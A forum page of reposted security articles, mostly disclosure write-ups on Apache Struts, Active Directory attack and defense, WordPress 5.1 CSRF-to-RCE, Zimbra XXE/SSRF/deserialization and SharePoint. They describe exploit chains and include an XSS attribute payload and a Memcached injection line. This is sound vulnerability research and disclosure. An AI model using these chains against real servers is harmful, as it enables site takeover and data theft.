Jump to content

Nytro

Administrators
  • Posts

    18727
  • Joined

  • Last visited

  • Days Won

    708

Posts posted by Nytro

  1. Selecția echipei naționale pentru Campionatul European de Securitate Cibernetică, ediția 2019

    2019/03/21

     

    362-small
     
    Foto: ECSC
     

    În perioada 6 - 7 aprilie 2019, CERT-RO, împreună cu Serviciul Român de Informații și Asociația Națională pentru Securitatea Sistemelor Informatice, alături de partenerii Orange Romania, Bit Sentinel, certSIGN, CISCO, Microsoft, Clico, Palo Alto și Emag, organizează prima etapă de selecție (online) a echipei naționale pentru Campionatul European de Securitate Cibernetică, ediția 2019 (ECSC19). Partenerii media ai ECSC 2019 sunt Agenția Națională de Presă – Agerpres și Digi 24.

    În etapele de (pre)selecție vor fi testate cunoștințele participanților, prin exerciții din domeniul securității aplicațiilor web, apărării cibernetice, criptografiei, analizei traficului de rețea, reverse engineering și al prezentării publice. Detalii despre materialele educaționale recomandate se regăsesc pe site.

    Pentru a veni în sprijinul echipei selecționate să reprezinte România la ECSC19, organizatorii competiției naționale și partenerii implicați vor organiza două sesiuni de training (bootcamp), pentru creșterea expertizei și dezvoltarea spiritului de echipă.

    Concurenții care vor face parte din lotul României la faza finală a competiției European Cyber Security Challenge 2019vor primi o serie de premii din partea sponsorilor.

    Anul acesta, Campionatul European de Securitate Cibernetică va avea loc la București, în perioada 9 - 11 octombrie 2019. Fiecare țară participantă va fi reprezentată de câte o echipă formată din 10 concurenți împărțiți în două grupe de vârstă: 16-20 de ani și 21-25 de ani, cu câte 5 concurenți fiecare.

    Pentru detalii și înscriere, accesați www.cybersecuritychallenge.ro

     

    Sursa: https://cert.ro/citeste/comunicat-selectie-echipa-nationala-ECSC-2019-online?

    • Thanks 2
    • Upvote 2
  2. Mai usor cu porcariile...

     

    Pe scurt, ideea e urmatoarea: oare ce zic cei care fac subiectele? "Hai sa le punem cu o seara inainte pe un site, ca sa le poata gasi elevii!". 

    Nu exista asa ceva. Evident, ele sunt disponibile pe cine stie unde, sunt trimise la centrele de examinare, insa putine persoane ar trebui sa aiba acces. E posibil chiar sa fie trimise in dimineata examenului, deci seara de dinaine e posibil sa le aiba doar cateva persoane. 

    Singura sansa e sa cunosti una dintre persoanele care au acces la ele si sa o convingi sa isi riste cariera ca sa iti spuna ce subiecte sunt. 

     

    Asadar, ideea e simpla: invata sau copiaza.

  3. Exploiting OGNL Injection in Apache Struts

    Mar 14, 2019 • Ionut Popescu

     

    struts.png

     

    Let’s understand how OGNL Injection works in Apache Struts. We’ll exemplify with two critical vulnerabilities in Struts: CVE-2017-5638 (Equifax breach) and CVE-2018-11776.

    Apache Struts is a free, open-source framework for creating elegant, modern Java web applications. It has its share of critical vulnerabilities, with one of its features, OGNL – Object-Graph Navigation Language, being at the core of many of them.

    One such vulnerability (CVE-2017-5638) has facilitated the Equifax breach in 2017 that exposed personal information of more thann 145 million US citizens. Despite being a company with over 3 billion dollars in annual revenue, it was hacked via a known vulnerability in the Apache Struts model-view-controller (MVC) framework.

    This article offers a light introduction into Apache Struts, then it will guide you through modifying a simple application, the use of OGNL, and exploiting it. Next, it will dive into some public exploits targeting the platform and using OGNL Injection flaws to understand this class of vulnerabilities.

    Even if Java developers are familiar with Apache Struts, the same is often not true in the security community. That is why we have created this blog post.

    Contents

    Feel free to use the menu below to skip to the section of interest.

    1. Install Apache Tomcat server (Getting started)
    2. Get familiar with how Java apps work on a server (Web Server Basics)
    3. A look at a Struts app (Struts application example)
    4. Expression Language Injection (Expression Language injection)
    5. Understanding OGNL injection (Object-Graph Navigation Language injection)
    6. CVE-2017-5638 root cause (CVE-2017-5638 root cause)
    7. CVE-2018-11776 root cause (CVE-2018-11776 root cause)
    8. Explanation of the OGNL injection payloads (Understanding OGNL injection payloads)

     

    Articol complet: https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/

  4. Active Directory Kill Chain Attack & Defense

    68747470733a2f2f646f63732e6d6963726f736f66742e636f6d2f656e2d75732f616476616e6365642d7468726561742d616e616c79746963732f6d656469612f61747461636b2d6b696c6c2d636861696e2d736d616c6c2e6a7067

    Summary

    This document was designed to be a useful, informational asset for those looking to understand the specific tactics, techniques, and procedures (TTPs) attackers are leveraging to compromise active directory and guidance to mitigation, detection, and prevention. And understand Active Directory Kill Chain Attack and Modern Post Exploitation Adversary Tradecraft Activity.

    Table of Contents


    Discovery

    SPN Scanning

    Data Mining

    User Hunting

    LAPS

    AppLocker


    Privilege Escalation

    Passwords in SYSVOL & Group Policy Preferences

    MS14-068 Kerberos Vulnerability

    DNSAdmins

    Unconstrained Delegation

    Constrained Delegation

    Insecure Group Policy Object Permission Rights

    Insecure ACLs Permission Rights

    Domain Trusts

    DCShadow

    RID

    Microsoft SQL Server

    Red Forest

    Exchange

    NTML Relay


    Lateral Movement

    Microsoft SQL Server Database links

    Pass The Hash

    System Center Configuration Manager (SCCM)

    WSUS

    Password Spraying

    Automated Lateral Movement


    Defense Evasion

    In-Memory Evasion

    Endpoint Detection and Response (EDR) Evasion

    OPSEC

    Microsoft ATA & ATP Evasion

    PowerShell ScriptBlock Logging Bypass

    PowerShell Anti-Malware Scan Interface (AMSI) Bypass

    Loading .NET Assemblies Anti-Malware Scan Interface (AMSI) Bypass

    AppLocker & Device Guard Bypass

    Sysmon Evasion

    HoneyTokens Evasion

    Disabling Security Tools


    Credential Dumping

    NTDS.DIT Password Extraction

    SAM (Security Accounts Manager)

    Kerberoasting

    Kerberos AP-REP Roasting

    Windows Credential Manager/Vault

    DCSync

    LLMNR/NBT-NS Poisoning

    Other


    Persistence

    Golden Ticket

    SID History

    Silver Ticket

    DCShadow

    AdminSDHolder

    Group Policy Object

    Skeleton Keys

    SeEnableDelegationPrivilege

    Security Support Provider

    Directory Services Restore Mode

    ACLs & Security Descriptors

    Tools & Scripts

    • PowerView - Situational Awareness PowerShell framework
    • BloodHound - Six Degrees of Domain Admin
    • Impacket - Impacket is a collection of Python classes for working with network protocols
    • aclpwn.py - Active Directory ACL exploitation with BloodHound
    • CrackMapExec - A swiss army knife for pentesting networks
    • ADACLScanner - A tool with GUI or command linte used to create reports of access control lists (DACLs) and system access control lists (SACLs) in Active Directory
    • zBang - zBang is a risk assessment tool that detects potential privileged account threats
    • PowerUpSQL - A PowerShell Toolkit for Attacking SQL Server
    • Rubeus - Rubeus is a C# toolset for raw Kerberos interaction and abuses
    • ADRecon - A tool which gathers information about the Active Directory and generates a report which can provide a holistic picture of the current state of the target AD environment
    • Mimikatz - Utility to extract plaintexts passwords, hash, PIN code and kerberos tickets from memory but also perform pass-the-hash, pass-the-ticket or build Golden tickets
    • Grouper - A PowerShell script for helping to find vulnerable settings in AD Group Policy.

    Ebooks

    Cheat Sheets


    Defense & Detection

    Tools & Scripts

    Active Directory Security Checks (by Sean Metcalf - @Pyrotek3)

    General Recommendations

    • Manage local Administrator passwords (LAPS).
    • Implement RDP Restricted Admin mode (as needed).
    • Remove unsupported OSs from the network.
    • Monitor scheduled tasks on sensitive systems (DCs, etc.).
    • Ensure that OOB management passwords (DSRM) are changed regularly & securely stored.
    • Use SMB v2/v3+
    • Default domain Administrator & KRBTGT password should be changed every year & when an AD admin leaves.
    • Remove trusts that are no longer necessary & enable SID filtering as appropriate.
    • All domain authentications should be set (when possible) to: "Send NTLMv2 response onlyrefuse LM & NTLM."
    • Block internet access for DCs, servers, & all administration systems.

    Protect Admin Credentials

    • No "user" or computer accounts in admin groups.
    • Ensure all admin accounts are "sensitive & cannot be delegated".
    • Add admin accounts to "Protected Users" group (requires Windows Server 2012 R2 Domain Controllers, 2012R2 DFL for domain protection).
    • Disable all inactive admin accounts and remove from privileged groups.

    Protect AD Admin Credentials

    • Limit AD admin membership (DA, EA, Schema Admins, etc.) & only use custom delegation groups.
    • ‘Tiered’ Administration mitigating credential theft impact.
    • Ensure admins only logon to approved admin workstations & servers.
    • Leverage time-based, temporary group membership for all admin accounts

    Protect Service Account Credentials

    • Limit to systems of the same security level.
    • Leverage “(Group) Managed Service Accounts” (or PW >20 characters) to mitigate credential theft (kerberoast).
    • Implement FGPP (DFL =>2008) to increase PW requirements for SAs and administrators.
    • Logon restrictions – prevent interactive logon & limit logon capability to specific computers.
    • Disable inactive SAs & remove from privileged groups.

    Protect Resources

    • Segment network to protect admin & critical systems.
    • Deploy IDS to monitor the internal corporate network.
    • Network device & OOB management on separate network.

    Protect Domain Controllers

    • Only run software & services to support AD.
    • Minimal groups (& users) with DC admin/logon rights.
    • Ensure patches are applied before running DCPromo (especially MS14-068 and other critical patches).
    • Validate scheduled tasks & scripts.

    Protect Workstations (& Servers)

    • Patch quickly, especially privilege escalation vulnerabilities.
    • Deploy security back-port patch (KB2871997).
    • Set Wdigest reg key to 0 (KB2871997/Windows 8.1/2012R2+): HKEY_LOCAL_MACHINESYSTEMCurrentControlSetControlSecurityProvidersWdigest
    • Deploy workstation whitelisting (Microsoft AppLocker) to block code exec in user folders – home dir & profile path.
    • Deploy workstation app sandboxing technology (EMET) to mitigate application memory exploits (0-days).

    Logging

    • Enable enhanced auditing
    • “Audit: Force audit policy subcategory settings (Windows Vista or later) to override audit policy category settings”
    • Enable PowerShell module logging (“*”) & forward logs to central log server (WEF or other method).
    • Enable CMD Process logging & enhancement (KB3004375) and forward logs to central log server.
    • SIEM or equivalent to centralize as much log data as possible.
    • User Behavioural Analysis system for enhanced knowledge of user activity (such as Microsoft ATA).

    Security Pro’s Checks

    • Identify who has AD admin rights (domain/forest).
    • Identify who can logon to Domain Controllers (& admin rights to virtual environment hosting virtual DCs).
    • Scan Active Directory Domains, OUs, AdminSDHolder, & GPOs for inappropriate custom permissions.
    • Ensure AD admins (aka Domain Admins) protect their credentials by not logging into untrusted systems (workstations).
    • Limit service account rights that are currently DA (or equivalent).

    Detection

    Attack Event ID
    Account and Group Enumeration 4798: A user's local group membership was enumerated
    4799: A security-enabled local group membership was enumerated
    AdminSDHolder 4780: The ACL was set on accounts which are members of administrators groups
    Kekeo 4624: Account Logon
    4672: Admin Logon
    4768: Kerberos TGS Request
    Silver Ticket 4624: Account Logon
    4634: Account Logoff
    4672: Admin Logon
    Golden Ticket 4624: Account Logon
    4672: Admin Logon
    PowerShell 4103: Script Block Logging
    400: Engine Lifecycle
    403: Engine Lifecycle
    4103: Module Logging
    600: Provider Lifecycle
    DCShadow 4742: A computer account was changed
    5137: A directory service object was created
    5141: A directory service object was deleted
    4929: An Active Directory replica source naming context was removed
    Skeleton Keys 4673: A privileged service was called
    4611: A trusted logon process has been registered with the Local Security Authority
    4688: A new process has been created
    4689: A new process has exited
    PYKEK MS14-068 4672: Admin Logon
    4624: Account Logon
    4768: Kerberos TGS Request
    Kerberoasting 4769: A Kerberos ticket was requested
    S4U2Proxy 4769: A Kerberos ticket was requested
    Lateral Movement 4688: A new process has been created
    4689: A process has exited
    4624: An account was successfully logged on
    4625: An account failed to log on
    DNSAdmin 770: DNS Server plugin DLL has been loaded
    541: The setting serverlevelplugindll on scope . has been set to <dll path>
    150: DNS Server could not load or initialize the plug-in DLL
    DCSync 4662: An operation was performed on an object
    Password Spraying 4625: An account failed to log on
    4771: Kerberos pre-authentication failed
    4648: A logon was attempted using explicit credentials

    Resources

    License

    CC0

    To the extent possible under law, Rahmat Nurfauzi "@infosecn1nja" has waived all copyright and related or neighboring rights to this work.

     

    Sursa: https://github.com/infosecn1nja/AD-Attack-Defense

    • Upvote 1
  5. WordPress 5.1 CSRF to Remote Code Execution

    13 Mar 2019 by Simon Scannell

    WordPress Remote Code Execution

    Last month we released an authenticated remote code execution (RCE) vulnerability in WordPress 5.0. This blog post reveals another critical exploit chain for WordPress 5.1 that enables an unauthenticated attacker to gain remote code execution on any WordPress installation prior to version 5.1.1.

     

    Impact

    An attacker can take over any WordPress site that has comments enabled by tricking an administrator of a target blog to visit a website set up by the attacker. As soon as the victim administrator visits the malicious website, a cross-site request forgery (CSRF) exploit is run against the target WordPress blog in the background, without the victim noticing. The CSRF exploit abuses multiple logic flaws and sanitization errors that when combined lead to Remote Code Execution and a full site takeover.

    The vulnerabilities exist in WordPress versions prior to 5.1.1 and is exploitable with default settings.

    WordPress is used by over 33% of all websites on the internet, according to its own download page. Considering that comments are a core feature of blogs and are enabled by default, the vulnerability affected millions of sites.

     

    Technical Analysis

    CSRF in comment form leads to HTML injection

    WordPress performs no CSRF validation when a user posts a new comment. This is because some WordPress features such as trackbacks and pingbacks would break if there was any validation. This means an attacker can create comments in the name of administrative users of a WordPress blog via CSRF attacks.

    This can become a security issue since administrators of a WordPress blog are allowed to use arbitrary HTML tags in comments, even <script> tags. In theory, an attacker could simply abuse the CSRF vulnerability to create a comment containing malicious JavaScript code.

    WordPress tries to solve this problem by generating an extra nonce for administrators in the comment form. When the administrator submits a comment and supplies a valid nonce, the comment is created without any sanitization. If the nonce is invalid, the comment is still created but is sanitized.

    The following code snippet shows how this is handled in the WordPress core:

     

    /wp-includes/comment.php (Simplified code)

    323932403241324232433244324532463247
    
    if ( current_user_can( 'unfiltered_html' ) ) {
        if (! wp_verify_nonce( $_POST['_wp_unfiltered_html_comment'], 'unfiltered-html-comment' )) {
            $_POST['comment'] = wp_filter_post_kses($_POST['comment']);
        }
    } else {
        $_POST['comment'] = wp_filter_kses($_POST['comment']);
    }
    

     

    The fact that no CSRF protection is implemented for the comment form has been known since 20091.

    However, we discovered a logic flaw in the sanitization process for administrators. As you can see in the above code snippet, the comment is always sanitized with wp_filter_kses(), unless the user creating the comment is an administrator with the unfiltered_html capability. If that is the case and no valid nonce is supplied, the comment is sanitized with wp_filter_post_kses() instead (line 3242 of the above code snippet).

    The difference between wp_filter_post_kses() and wp_filter_kses() lies in their strictness. Both functions take in the unsanitized comment and leave only a selected list of HTML tags and attributes in the string. Usually, comments are sanitized with wp_filter_kses() which only allows very basic HTML tags and attributes, such as the <a> tag in combination with the href attribute.

    This allows an attacker to create comments that can contain much more HTML tags and attributes than comments should usually be allowed to contain. However, although wp_filter_post_kses() is much more permissive, it still removes any HTML tags and attributes that could lead to Cross-Site-Scripting vulnerabilities.

     

    Escalating the additional HTML injection to a Stored XSS

    The fact that we can inject additional HTML tags and attributes still leads to a stored XSS vulnerability in the WordPress core. This is because some attributes that usually can’t be set in comments are parsed and manipulated in a faulty way that leads to an arbitrary attribute injection.

    After WordPress is done sanitizing the comment it will modify <a> tags within the comment string to optimize them for SEO purposes.

    This is done by parsing the attribute string (e.g. href="#" title="some link" rel="nofollow") of the <a>tags into an associative array (line 3004 of the following snippet), where the key is the name of an attribute and the value the attribute value.

     

    wp-includes/formatting.php

    3002300330043005
    function wp_rel_nofollow_callback( $matches ) {
        $text = $matches[1];
        $atts = shortcode_parse_atts($matches[1]);
        

     

    WordPress then checks if the rel attribute is set. This attribute can only be set if the comment is filtered via wp_filter_post_kses(). If it is, it processes the rel attribute and then puts the <a> tag back together.

     

    wp-includes/formatting.php

    3013301430153016301730183019302030213022
        if (!empty($atts['rel'])) {
            // the processing of the 'rel' attribute happens here
            
            $text = '';
            foreach ($atts as $name => $value) {
                $text .= $name . '="' . $value . '" ';
            }
        }
        return '<a ' . $text . ' rel="' . $rel . '">';
    }  

     

    The flaw occurs in the lines 3017 and 3018 of the above snippet, where the attribute values are concatenated back together without being escaped.

    An attacker can create a comment containing a crafted <a> tag and set for example the title attribute of the anchor to title='XSS " onmouseover=alert(1) id="'. This attribute is valid HTML and would pass the sanitization step. However, this only works because the crafted title tag uses single quotes.

    When the attributes are put back together, the value of the title attribute is wrapped around in double quotes (line 3018). This means an attacker can inject additional HTML attributes by injecting an additional double quote that closes the title attribute.

    For example: <a title='XSS " onmouseover=evilCode() id=" '> would turn into
    <a title="XSS " onmouseover=evilCode() id=" "> after processing.

    Since the comment has already been sanitized at this point, the injected onmouseover event handler is stored in the database and does not get removed. This allows attackers to inject a stored XSS payload into the target website by chaining this sanitization flaw with the CSRF vulnerability.

     

    Directly executing the XSS via an iframe

    The next step for an attacker to gain Remote Code Execution after creating the malicious comment is to get the injected JavaScript executed by the administrator. The comment is displayed in the frontend of the targeted WordPress blog. The frontend is not protected by the X-Frame-Options header by WordPress itself. This means the comment can be displayed in a hidden <iframe> on the website of the attacker. Since the injected attribute is an onmouseover event handler, the attacker can make the iframe follow the mouse of the victim to instantly trigger the XSS payload.

    This allows an attacker to execute arbitrary JavaScript code with the session of the administrator who triggered the CSRF vulnerability on the target website. All of the JavaScript execution happens in the background without the victim administrator noticing.

     

    Escalating the JavaScript execution to Remote Code Execution

    Now that is possible to execute arbitrary JavaScript code with the session of the administrator, Remote Code Execution can be achieved easily. By default, WordPress allows administrators of a blog to directly edit the .php files of themes and plugins from within the admin dashboard. By simply inserting a PHP backdoor, the attacker can gain arbitrary PHP code execution on the remote server.

     

    Patch

    By default, WordPress automatically installs security updates and you should already run the latest version 5.1.1. In case you or your hoster disabled the auto-update functionality for some reason, you can also disable comments until the security patch is installed. Most importantly, make sure to logout of your administrator session before visiting other websites.

     

    Timeline

    Date What
    2018/10/24 Reported that it is possible to inject more HTML tags than should be allowed via CSRF to WordPress.
    2018/10/25 WordPress triages the report on Hackerone.
    2019/02/05 WordPress proposes a patch, we provide feedback.
    2019/03/01 Informed WordPress that we managed to escalate the additional HTML injection to a Stored XSS vulnerability.
    2019/03/01 WordPress informs us that a member of the WordPress security team already found the issue and a patch is ready.
    2019/03/13 WordPress 5.1.1 Security and Maintenance Release

     

    Summary

    This blog detailed an exploit chain that starts with a CSRF vulnerability. The chain allows for any WordPress site with default settings to be taken over by an attacker, simply by luring an administrator of that website onto a malicious website. The victim administrator does not notice anything on the website of the attacker and does not have to engange in any other form of interaction, other than visiting the website set up by the attacker.

    We would like to thank the volunteers of the WordPress security team which have been very friendly and acted professionally when working with us on this issue.

     

    Tags: simon scannell, php, wordpress, remote code execution, cross site request forgery, cross site scripting,

    Author: Simon Scannell

    Security Researcher

    Simon is a self taught security researcher at RIPS Technologies and is passionate about web application security and coming up with new ways to find and exploit vulnerabilities. He currently focuses on the analysis of popular content management systems and their security architecture.

     

    Sursa: https://blog.ripstech.com/2019/wordpress-csrf-to-rce/

  6. March 13, 2019

    A Saga of Code Executions on Zimbra

     
    Zimbra is well known for its signature email product, Zimbra Collaboration Suite. Putting client-side vulnerabilities aside, Zimbra seems to have very little security history in the past. Its last critical bug was a Local File Disclosure back in 2013.

    Recently with several new findings, it has been known that at least one potential Remote Code Execution exists in all versions of Zimbra. Specifically,

    - Pre-Auth RCE on Zimbra <8.5.

    - Pre-Auth RCE on Zimbra from 8.5 to 8.7.11.

    - Auth'd RCE on Zimbra 8.8.11 and below with an additional condition that Zimbra uses Memcached. More on that in the next section.
     

    Breaking Zimbra part 1

     

    1. The XXE cavalry - CVE-2016-9924, CVE-2018-20160, CVE-2019-9670

    Zimbra uses a large amount of XML handling for both its internal and external operations. With great XML usage comes great XXE vulnerabilities.

    Back in 2016, another research has discovered CVE-2016-9924 with the bug locating in SoapEngine.chooseFaultProtocolFromBadXml(), which happens on the parsing of invalid XML requests. This code is used in all Zimbra instances version below 8.5. Note however, as there's no way to extract the output to the HTTP response, an out-of-band extraction method is required in exploiting it.

    For more recent versions, CVE-2019-9670 works flawlessly where the XXE lies in the handling of Autodiscover requests. This can be applied on Zimbra from 8.5 to 8.7.11. And for the sake of completeness, CVE-2018-20160 is an XXE in the handling of XMPP protocol and an additional bug along CVE-2019-9670 is a prevention bypass in the sanitizing of XHTML documents which also leads to XXE, however they both require some additional conditions to trigger. These all allow direct file extraction through response.

    It's worth to mention that exploiting out-of-band XXE on recent Java just got a lot harder due to a patch in the core FtpClient which makes it reject all FTP commands containing newline. This doesn't affect the exploits for the vulnerabilities mentioned above, but it did make some of my previous efforts to chain XXE with other bugs in vain.
    ftp_patch.PNG
    FtpClient.issueCommand()

    On installation, Zimbra sets up a global admin for its internal SOAP communications, with the username 'zimbra' and a randomly generated password. These information are always stored in a local file named localconfig.xml. As such, a file-read vulnerability like XXE could potentially be catastrophic to Zimbra, since it allows an attacker to acquire the login information of a user with all the admin rights. This has been demonstrated as the case in a CVE-2013-7091 LFI exploit where under certain conditions, one could use such credentials to gain RCE.

    However things have never been that easy. Zimbra manages user privileges via tokens, and it sets up an application model such that an admin token can only be granted to requests coming to the admin port, which by default is 7071. The aforementioned LFI exploit conveniently assumes we already have access to that port. But how often do you see the weirdo 7071 open to public?
     

    2. SSRF to the rescue - CVE-2019-9621

    If you can't access the port from public, let the application do it for you. The code at ProxyServlet.doProxy() does exactly what its name says, it proxies a request to another designated location. What's more, this servlet is available on the normal webapp and therefore accessible from public. Sweet! However the code has an additional protection, it checks whether the proxied target matches a set of predefined whitelisted domains. That is, unless the request is from an admin. Sounds right, an admin should be able to do what he wants.

    (Un)Fortunately, the admin checks are flawed. First thing it checks is whether the request comes from port 7071. However it uses ServletRequest.getServerPort() to fetch the incoming port. This method returns a tainted input controllable by an attacker, which is the part after ':' in the Host header. What's more, after that the check for the admin token happens only if it is fetched from a parameter, meanwhile we can totally send a token via cookie! In short, if we send a request with 'foo:7071' Host header and a valid token in cookie, we can proxy a request to arbitrary targets that is otherwise only accessible to admins.
    proxyservlet.png
    The check for an admin token can only happen if it's fetched from parameter
     

    3. Pre-Auth RCE from public port

    ProxyServlet still needs a valid token though, so how does this fit in a preauth RCE chain? Turns out Zimbra has a 'hidden' feature that can help us generate a normal user token under the special global 'zimbra' account. When we modify an ordinary SOAP AuthRequest which looks like this:
    ?
    1
    ...<account by="name">tint0</account>...

    into this:
    ?
    1
    ...<account by="adminName">zimbra</account>...

    Zimbra will then lookup all the admin accounts and proceed to check the password. This is actually quite surprising because Zimbra admins and users naturally reside in two different LDAP branches. A normal AuthRequest should only touch the normal user branch, never the other. If the application wants a token for an admin, it already has port 7071 for that.

    Note that while this little trick could give us a token for the 'zimbra' user, this token doesn't have any of the admin flag in it as it's not coming from port 7071. This is when ProxyServlet jumps in, which will help us to proxy another admin AuthRequest to port 7071 and obtain a global admin token.

    Now that we've got everything we need. The flow is to read the config file via XXE, generate a low-priv token through a normal AuthRequest, proxy an admin AuthRequest to the local admin port via ProxyServlet and finally, use the global admin token to upload a webshell via the ClientUploader extension.
     

    Breaking Zimbra part 2

     
    Zimbra has its own implementation of IMAP protocol, where it keeps a cache of the recently logged-in mailbox folders so that it doesn't have to load all the metadata from scratch next time. Zimbra serializes a user's mailbox folders to the cache on logging out and deserializes it when the same user logs in again.

    It has three ways to maintain a cache: Memcached(network-based input), EhCache(memory-based) and file-based. If one fails, it tries the next in list. Of all of those, we can only hope to manipulate Memcached, and this is the condition of the exploit: Zimbra has to use Memcached as its caching mechanism. Even though Memcached is prioritized over the others, (un)fortunately on a single-server instance, the LDAP key zimbraMemcachedClientServerList isn't auto-populated, so Zimbra wouldn't know where the service is and will fail over to Ehcache. This is probably a bug in Zimbra itself, as Memcached service is up and running by default and that way it wouldn't have any data in it. On a multi-server install however, setting this key is expected as only Memcached can work accross many servers.
     
    To check whether your Zimbra install is vulnerable, invoke this command on every node in the cluster and check if it returns a value:
    ?
    1
    $ zmprov gs `zmhostname` zimbraMemcachedClientServerList

    The deserialization process happens at ImapMemcachedSerializer.deserialize() and triggers on ImapHandler.doSELECT() i.e. when a user invoking an IMAP SELECT command. The IMAP port in most cases is publicly accessible, so we can safely assume the trigger of this exploit.

    To bring this to RCE, one still needs to find a suitable gadget to form a chain. The twist is, none of the current public chains (ysoserial) works on Zimbra.
     

    1. Making of a gadget

    Of all the gadgets available, MozillaRhino1 particularly stands out as all classes in the chain are available on Zimbra's classpath. This chain is based on Rhino library version 1.7R2. Zimbra uses the lib yuicompressor version 2.4.2 for js compression, and yuicompressor is bundled with Rhino 1.6R7. The unfortunate thing is there's an internal bug in 1.6R7 that would break the MozillaRhino1 chain before it ever reaches code execution, so we're out of luck. The good thing is, thanks to the effort in attempting to get the original chain to work and to the blog post detailing the MozillaRhino1 chain [1], we learnt a lot about Rhino's internals and on our way to pop another gadget.

    There are two main points. First, the class NativeJavaObject on deserialization will store all members of an object's class. Members refer to all elements that define a class such as variables and methods. In Rhino context, it also detects when there's a getter or setter member and if so, it declares and includes the corresponding bean as an additonal member of this class. Second, a call to NativeJavaObject.get() will search those members for a matching bean name and if one is found, invoke that bean's getter. These match the nature of one of the native 'gadget helpers' - TemplatesImpl.getOutputProperties(). Essentially if we can pass in the name 'outputProperties' in NativeJavaObject.get(), Rhino will invoke TemplatesImpl.getOutputProperties() which will eventually lead to the construction of a malicious class from our predefined bytecodes. Searching for a place that we can control the passed-in member name leads to the discovery of JavaAdapter.getObjectFunctionNames() (Thanks to the valuable help from @matthias_kaiser) and it's directly accessible from NativeJavaObject.readObject().

    The chain is now available in ysoserial's payload storage under the name MozillaRhino2. It works all the way to the latest version (with some tweaks) and has some additional improvement over MozillaRhino1. One interesting thing I found while reading Matt's blog post is that OpenJDK 1.7.x always bundles with rhino as its scripting engine, which essentially means that these rhino gadgets may very well work natively on OpenJDK7 and below.

    This discovery escalates the bug from a Memcached Injection into a Code Execution. To exploit it, query into the Memcached service, pop out any 'zmImap' key, replace its value with the serialized object from ysoserial and next time the corresponding user logins via IMAP, the deserialization will trigger.
     

    2. Smuggling from HTTP to Memcached

    RCE from port 11211 sounds fun, but less so practical. So again, we turn to SSRF for help. The idea is to use the HTTP request from SSRF to inject our defined data in Memcached. To accomplish this, first we need to control a field in the HTTP request that allows the injection of newlines (CRLF). This is because a CRLF in Memcached will denote the end of a command and allow us to start a new arbitrary command after that. Second, since we're pushing raw objects into Memcached, our controlled input also needs to be able to carry binary data.

    Zimbra has quite a few SSRFs in itself, however there's only one place that suffices both conditions, and it happens to be the all-powerful ProxyServlet earlier.
     
    memcached_stored.PNG
     
    For a successful smuggle from HTTP to Memcached protocol, you should see something like above under the hood. It has exactly 6 ERROR and 1 STORED, correlating to 6 lines of HTTP headers and our payload, which also means our payload was successfully injected.
     
     

    3. RCE from public port

    That said, things are different when we use SSRF to inject to Memcached. In this situation we could only inject data into the cache, not pop data out because HTTP protocol cannot parse Memcached response. So we have no idea what our targeted Memcached entry's key looks like, and we need to know the exact key to be able replace its value with our malicious payload.

    Fortunately, the Memcached key for Zimbra Imap follows a structure that we can construct ourselves.
     
    memcached_key.PNG
     
    It follows the pattern
    ?
    1
    zmImap:<accountId>:<folderNo>:<modseq>:<uidvalidity>
    with:
    - accountId fetched from hex-decoding any login token
    - folderNo the constant '2' if we target the user's Inbox folder
    - modseq and uidvalidity obtained via IMAP as shown below
    memcached_key_modseq.PNG

    Now we have everything we need. Putting it together, the chain would be as follows:
    - Get a user credentials
    - Construct a Memcached key for that user following the above instructions
    - Generate a ysoserial payload from the gadget MozillaRhino2, use it as the Memcached entry value.
    - Inject the payload to Memcached via the SSRF. In the end, our payload should look like:
    ?
    1
    "set zmImap:61e0594d-dda9-4274-87d8-a2912470a35e:2:162:1 2048 3600 <size_of_object>" + "\r\n" + <object> + "\r\n"
    - Login again via IMAP. Upon selecting the Inbox folder, the payload will get deserialized, followed by the RCE gadget.
     

    The patches


    Zimbra issued quite a number of patches, of which the most important are to fix XXEs and arbitrary deserialization. However the fix is only available for 8.7.11 and 8.8.x. If you happen to use an earlier version of Zimbra, consider upgrading to one of their supported version.

    As a workaround, blocking public requests going to '/service/proxy*' would most likely break the RCE chains. Unfortunately there's none that I can think of that could block all the XXEs without also breaking some of Zimbra features.

     

     

    Sursa: https://blog.tint0.com/2019/03/a-saga-of-code-executions-on-zimbra.html

  7. CVE-2019-0604: Details of a Microsoft SharePoint RCE Vulnerability

    March 13, 2019 | Guest Blogger
     

    Last month, Microsoft released patches to address two remote code execution (RCE) vulnerabilities in SharePoint. In both Critical-rated cases, an attacker could send a specially crafted request to execute their code in the context of the SharePoint application pool and the SharePoint server farm account. Both of these bugs were reported to the ZDI program by Markus Wulftange. He has graciously provided the following write-up on the details of CVE-2019-0604.


    When searching for new vulnerabilities, one approach is the bottom-up approach. It describes the approach of looking for an interesting sink and tracing the control and data flow backwards to find out if the sink can be reached.

    One of these promising sinks is the deserialization using the XmlSerializer. In general, it is considered a secure serializer as it must be instrumented with the expected type and it is not possible to specify an arbitrary type within the stream that cannot appear in the object graph of the expected type. But it is exploitable if the expected type can be controlled as well, as it has been shown in Friday the 13th – JSON Attacks by Alvaro Muñoz & Oleksandr Mirosh [PDF].

    For analyzing the SharePoint 2016 assemblies, dnSpy is an excellent tool as it can be used for both decompiling and debugging of .NET applications. So, after dnSpy is attached to the IIS worker process w3wp.exe that is running SharePoint 2016, and the assemblies have been loaded, the usage of the XmlSerializer(Type) constructor can be analyzed. Now the tedious part begins where every one of the XmlSerializer(Type) constructor calls has to be looked at and to check whether the expected type is variable at all (e.g. it is not hard-coded as in new XmlSerializer(typeof(DummyType))) and whether it is possible to control the type.

    One of the methods where the XmlSerializer(Type) constructor gets called is the Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string) method in Microsoft.SharePoint.dll. The same type with the same functionality is also in the Microsoft.Office.Server.ApplicationRegistry.Infrastructure namespace in the Microsoft.SharePoint.Portal.dll. We will come back to this later and stick to the one in Microsoft.SharePoint.dll.

    Figure 1 :  Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string)

    Figure 1 : Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string)

    Here both the typeName, used to specify the expected type, and the data that gets deserialized originate from text, which originates from the method's argument encodedId.

    This looks perfect as long as the method gets actually called and the passed parameter can be controlled.

    Tracing back the Flow to the Source

